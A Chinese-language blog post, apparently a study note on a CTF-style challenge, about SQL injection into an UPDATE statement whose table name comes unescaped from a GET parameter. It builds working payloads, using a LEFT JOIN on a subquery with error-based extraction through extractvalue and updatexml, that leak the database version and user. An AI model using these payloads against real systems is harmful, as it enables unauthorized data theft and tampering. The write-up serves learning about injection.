简介
趁着最近有时间,抓紧时间学习一波大佬们的奇技淫巧。
本文是参考关于一个sql注入注入题目的思考而写的,仅仅只是为了记录。所以大家尽量还是去看原文。
题目
代码如下:
$link = mysqli_connect(\'localhost\',\'root\',\'root\');
mysqli_select_db($link,\'yunleigit\');
$table = addslashes($_GET[\'table\']);
$sql = "UPDATE `{table}`
SET `username`=\'admin\'
where id=1";
if(!mysqli_query($link,$sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);
难点
这道题目有四个难点。
- update的注入比较少见,之前也仅仅只是见过update的报错注入
-
addslashes(),导致无法使用单引号、双引号和反斜线 - SQL语句不在同一行,无法使用注释的方法,注释后面的语句
- mysqli无法执行多条SQL语句
分析
那么能够利用的就只有SQL语句中的update语法了。
复习mysql中的update的语法,mysql update操作。这篇文章中最后有一段话,如下:
以上的例子显示出了使用逗号操作符的内部联合,但是multiple-table UPDATE语句可以使用在SELECT语句中允许的任何类型的联合,比如LEFT JOIN,但是您不能把ORDER BY或LIMIT与multiple-table UPDATE同时使用。
这句话表明了有可能在update语句中使用join操作。如果能够使用jon操作,就能够引入select语句了。
Mysql跨表更新 多表update sql语句总结,这篇文章中总结了在update中的简单的join的语句,但是并没有引入select语句。
数据库 UPDATE多条记录不同值,同时UPDATE多个字段,这篇文章中很详细地说明了如何在update语句中通过join的方式使用select语句。但是这篇文章中的SQL语句写得不是很好,贴上一个比较好的写法的例子。
UPDATE student D LEFT JOIN (
SELECT sum(s1.score) as sum,s1.studentId,avg(round(s1.score,1)) as avg from score s1 GROUP BY studentId
)A on D.id=A.studentId
set D.score_num=A.sum,D.score_avg=A.avg
WHERE D.id in (
SELECT DISTINCT studentId FROM score s2 WHERE examTime>\'2015-03-10\'
) and D.age=1;
在where子句中使用in来完成,这样比较容易理解。
上述的一切在文档中都已经说明了,UPDATE Syntax
POC
根据上述的分析,那么就可以写出一个简单的POC。
update `table` t left join (select id from `table`) tt on tt.user=t.username set username =\'admin\' where id=1;
但是会出现[23000][1052] Column \'id\' in where clause is ambiguous问题,因为在表table和表tt中都存在id字段,where子句不知道以谁作为标准。
不同使用table,可以考虑使用mysql中的虚表dual
update `table` t left join (select \'1\' as user from dual) tt on tt.user=t.username set username =\'admin\' where id=1;
成功执行,接下来就可以考虑使用报错注入的方式得到信息。
update `table` t left join (select \'1\' as user from dual WHERE extractvalue(1,concat(0x7e,(SELECT version()),0x7e))) tt on tt.user=t.username set username =\'admin\' where id=1;
成功地得到数据库的版本号。
其他
俊杰师傅的答案也是十分的精妙。
UPDATE `table` JOIN (select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1))s join `table` `2` set username =\'admin\' where id=1;
这个答案也可以成功地注入数据。值得注意的是
join `table` `2`
使用`2`作为table的别名,有效地避免了id字段相同的问题。
还是要多看文档。
总结
后来通过看mysql的文档UPDATE Syntax和JOIN Syntax发现,
MySQL supports the following JOIN syntax for the table_references part of SELECT statements and multiple-table DELETE and UPDATE statements
说明这种问题在delete语句中也是存在的。